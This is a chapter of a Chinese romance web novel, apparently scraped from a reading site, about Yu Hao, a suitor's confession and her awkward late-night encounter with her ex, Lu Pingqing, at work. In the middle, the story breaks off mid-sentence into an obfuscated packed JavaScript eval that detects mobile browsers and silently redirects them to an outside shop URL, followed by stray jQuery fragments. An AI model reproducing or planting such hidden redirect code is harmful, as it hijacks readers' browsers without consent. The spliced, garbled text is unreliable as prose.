11. -11-
作品:《万物不将来[破镜重圆]》 一场脱口秀看得津津有味,余好和沈亦荷从剧场出来的时候,外面的天已经黑透了。
12月底的榕城,夜晚的寒冷不比南临差,空气里的寒冷只会有过之而无不及。
蓉城这座城市人口密集,大约也是赶上星期五的缘故,傍晚八点多就已经人来人往。
在大多数人眼里,榕城是一个高速发展的快节奏城市。
它有数不清的高楼大厦,早起的地铁里,每个人都看着手表,掐着时间,不浪费一分一秒。
余好一直觉得,尽管是这样的城市,也会有格外吸引人的可爱地方。
就好比没来过粤江湖的人,他们一定不会知道,蓉城还会有这么市井气的一面。
粤江湖属于市区边缘,因为一片清澈见底的蓝色小湖泊得名,这里也叫粤江广场。
小吃摊铺从头摆到尾,从炸串鱿鱼到香辣卤煮,不落下一样当下时兴的。
烟火气处处笼罩着,吸引路过的人。
时间不算太晚,余好和沈亦荷都有意散散步。
两个人沿着街边走,热闹的喧嚣声不绝于耳,车水马龙,川流不息。
这里和加班时看到的夜晚是不一样的。
同一座城市,却有这么不同的两面。
CBD就是这一点不好,无论什么时候从写字楼往外看,入眼的都是冷漠的高楼。
从早到晚,仿佛24个小时随时为工作待命。
年轻人不需要社交,不需要自己的私人生活,这是被默认的,是社会的通病。
“我还不知道榕城有这样的地方。”余好看着四周,感慨地说。
“其实我也很少来这边,如果不是朋友送的那两张票,大概没理由约你出来散步,说起来,还要谢谢我的朋友。”
余好听沈亦荷这么说,觉得有点好笑:“散步还需要什么理由,大家都不忙的话,你发条消息给我,我肯定随时赴约的,朋友之间哪有那么多顾虑。”
这几个月以来余好和沈亦荷断断续续的吃过几次饭。
两个人每次的相处也都很愉快,沈亦荷就是那样的性格,不管是面对什么场面都能够很体面的去解决任何问题。
他的关心也不会让人觉得逾矩。
随手发在朋友圈里抱怨自己每次去酥禾坊都买不到黄油饼干的动态被他点赞后,隔天余好就能收到沈亦荷送来的好几份不同口味点心。
她提着一大袋东西道谢,对方轻描淡写说是顺路。
余好隐约察觉到沈亦荷有跟自己交往的意向,可是他没有点破,她也识趣的闭口不谈。
她觉得自己如果再恋爱,一定不要像前两次那样,一次是仓促的结束,一次是还没来得及熟悉,就切入正题。
“余好,我觉得你应该是误会我的意思了,我说的不是普通朋友那样,”沈亦荷放缓脚步,突然抬眼,郑重其事看她。
“我希望你能把我当成发展对象相处。”
余好有些不知道该怎么接话,只能干巴巴说:
“沈律师,其实现在这个阶段我还并没有很想结婚。因为有些事情连我自己都没想清楚,我怕如果一个决定做的太快,到时候适得其反,会让双方都难堪。
如果你着急成家或者觉得我耽误你时间,你完全可以和别人尝试发展的。”
“我说这些不是想给你压力,只是希望我们之间不要有什么误会,因为我并不是只想跟你做朋友。”
余好被沈亦荷这样少有的眼神直白盯着,她哑然片刻。
他却步步紧逼:“如果你不讨厌我,就不要拒绝我。”
这算告白,又不算。
总之在这个时候提起,对余好来说,多少是有点不合时宜的。
她当然是不讨厌沈亦荷的,但是这能算得上什么?
和一个人在一起,只需要不讨厌就够了吗?
这些话余好当然是问不出口的,她张着嘴,又发现没什么好说的,只能尴尬的扯扯嘴角:“我不一定能给你想要的。”
“没关系,这世界上有些事情也不过是求仁得仁。哪怕你拒绝我,也应该是我的问题,不是你的问题。”
余好别过脸,不敢与他对视,面对对方如此真诚的时刻,她没办法拿出百分百同样的诚意,此刻只剩心虚。
“不嘛不嘛,我就要吃那个!”稚嫩的声音响起。
一个小男孩牵着年迈老人的手往冰淇淋推车走,小手指着广告小牌子上的图片又蹦又闹。
是一款三色冰淇淋球。
“家里吃饭的时候你不吃,一出来就闹着要吃这些东西,你再这样以后都不带你出来了,赶紧给我回去。”老人扯了一把孙子。
小孩见状,抱着小推车的桌角死死不松手。
余好和沈亦荷相视一笑,两个人之间的氛围比刚才缓和了很多。
“不早了,我们回去吧。”余好怕再这样走下去,沈亦荷还会说出什么更语出惊人的话。
好在沈亦荷完全跟着她的节奏,点点头,同她一起往回走。
·
深夜的粤江湖,人是很多的。
陆凭青就站在河堤的栏杆前,挺安静的一处,再往前走几十米就是大剧场。
手指间夹着一根烟,陆凭青也说不清自己为什么就这么莫名其妙来了。
掐着时间来的,那次的匆匆一瞥,他记住了脱口秀的时间,但他来的不是时候,走到这里,脱口秀已经结束了挺久。
他不知道自己是想看到什么,又或者是只是潜意识想让自己彻底死心。
劝别人不要抽烟,他自己今晚却抽的很猛。
最开始站在广场显眼处,行人络绎不绝,从他面前走过,也偶尔有二十出头的小女孩,被朋友推搡着过来问他要联系方式。
他都拒绝了,避免被叨扰,才走到阴影处。
所里还有很多工作任务没做完,往常这个时候他已经在家里客厅开始办公。
今晚他居然自虐似的吹着冷风,在这里等一个死心的时刻。
大概等不到了。
陆凭青看了一眼手表,想着最后抽完这支烟就回去。
风吹过来的时候,树叶也被吹得刷刷作响。
他抬头看了看天空,薄云被吹得很散,有一轮明月高高的挂在深蓝之中。
从来没有注意到,原来蓉城的冬天也是会冷的。
抬手将烟蒂在垃圾箱上拧灭,陆凭青准备离开,一转身却看见不远处走过来的两个人。
于是他的脚步停滞于此。
看着余好唇瓣一张一合跟旁边穿衬衫西裤的高大男人说着什么,她的表情很放松,眉眼淡淡的弯起来,跟在公司遇见自己的时候,总归是不一样的。
也不知道是踩到哪个地方,余好的高跟鞋踩在凹凸不平的地砖,她有些不好意思看看旁边的人。
那个男人说了一句什么话,便蹲下身单手将鞋拔出,余好搭着男人的手臂,任他为她穿上鞋。
这一幕简直太过于刺眼,胸腔里仿佛有什么东西要喷薄而出,从未有过的感觉,像是扼住了他的喉咙,陆凭青看得眼睛有点干涩,他一言不发往转身。
是不该来的,在看到这一幕之前,他还觉得或许两个人只是普通的朋友。
陆凭青不由唾弃自己的自作多情,明明已经见识余好的绝情,他却还抱有一丝希翼。
实在是太可笑。
*
又是一个加班的晚上,余好盯着电脑里的一项项数据。
不敢放过任何一个细节,格子间里的同事都走得差不多了。
畅销书数据要的急,苏簌又不在榕城,其他同事分身乏术,她自愿留下加班,没想到在公司一待就是好几个小时。
终于检查完最后一页,整理成文档发给苏簌,对方的电话紧跟着打进来。
“余助理,你现在还在公司是吗?”
余好一边关电脑一边说:“是的,苏首席,我现在正准备回去。”
“这样,耽误你一会,你先别急着走,去A组找陈臻拿个U盘,明天早上寄给我,他现在应该还在办公室。”
“好,我现在就去。”
余好收拾好东西,往A组那边走。
她是不常来这边的,如果不是需要找陈臻,余好一般都尽量避开。
毕竟在陆凭青眼皮子底下晃来晃去,这样的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690559|188717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事情实在太尴尬。
A组果然跟他们说的一样,加班是家常便饭的事情。
别的组员工都已经下班回家,A组却有好几个助理都在做事。
杨倩看见余好,惊讶的问她怎么来了。
“我来找陈助理拿个u盘,苏首席说她开会急用,让我明天寄过去。”
“陈助理啊,我刚刚还看见他的,好像去陆首席的办公室了。”
杨倩说完,余好心里咯噔一下,看来今天不得不面对了。
办公室的门是开着的,里面的灯也开着,明晃晃的。
余好抬手敲了敲门,坐在办公桌前的男人专心致志看着电脑,视线都没往门口挪一下:“进。”
陈助理就在陆凭青身边站着汇报工作进程。
余好走进去,轻声打招呼:“陆首席,陈助理。”
陆凭青听见这声音,终于抬起眼眸,看着门口的人,淡声问:“什么事?”
“苏首席让我过来找陈助理拿个东西,因为明天就要寄过去,所以才过来打扰你们。”
陈助理一拍脑袋,这才想起来:“噢,是关于简澳的往期合作资料对吧,苏首席早上的时候跟我说过,我一忙给忘了,之前那个u盘早就已经坏掉了,不过资料我还是保存的,但是需要去一楼的文档室重新上传,内容挺多的,可能要耽误你下班了。”
“没关系,你把文档室的钥匙给我,我自己去下载,就不麻烦你了。”
“这有什么麻烦不麻烦的,你对文档室又不熟,还是我去吧,对了,你吃东西了吗?陆首席还没吃晚饭,如果你也没吃的话,我正好替你也带一份上来,上次不是说过要请你吃饭吗?这盒饭也算饭是吧。”
话说到这个份上,也没有拒绝的理由。
余好也确实还没吃晚饭,人哪有跟饭过不去的。
她笑笑:“那就谢谢陈助理的招待了。”
陈助理挥一挥手,出了办公室。
偌大的空间现在只剩下两个人,余好顿时不知道自己该留在这里,还是出去等。
陆凭青眼都没抬,就已经知道她在想什么,开口道:“随便坐。”
这下彻底没有出去的理由,她坐在沙发上拘谨的观察着这个办公室。
放满文件的书架,展示柜里有几尊立着的玉麒麟,整个办公室风格简约大气。
目光不知不觉就飘到陆凭青身上,他正襟危坐,修长的手指在键盘上敲动。
余好看着他那双手,想起他的手腕内侧有一个红色的痣。
哪一只手来着?左手还是右手?
还没来得及回忆清楚,键盘打字的声音戛然而止。
余好慢半拍抬起眼,发现他正看着自己。
凛然幽深的眸色,像是把一切看透。
“你好,你们点的便餐到了。”有人提着两份盒饭进来。
是一个外卖小哥,穿着楼下饭店的专属工作服。
他把东西放在桌上就走了。
食物的香气隐隐约约从袋子里飘散出来。
余好咽了咽口水,问陆凭青:“陆首席,你不吃饭吗?”
他不过来,自己也不好意思先吃。
说到底他还是她的上司,余好没有那么大的胆子,让一个上级看着她吃东西。
陆凭青看着文档最后几句未翻译的句子,头一次摒弃完美主义做派,合上电脑起身。
他在余好对面的沙发坐下。
两份盒饭是不同的口味,一份色彩搭配舒服的青椒肉丝,一份香煸回锅肉。
余好本想随便拿一盒离自己最近的盒饭,却没想到陆凭青那么自然的就把她面前那份青椒肉丝端走了。
余好愣了一下。
她从前是不吃青椒的,跟陆凭青在一起的时候特别娇气,遇到有青椒的菜,她都会一点一点挑出来。
后来工作之后,不知道从什么时候开始又觉得其实也还不错。
陆凭青刚刚那个举动,让余好在此刻分析出数种意思。
她不知道陆凭青是还记得自己不吃青椒,所以条件反射的做出下意识的动作。
又或者只是今天他恰好想吃这个?

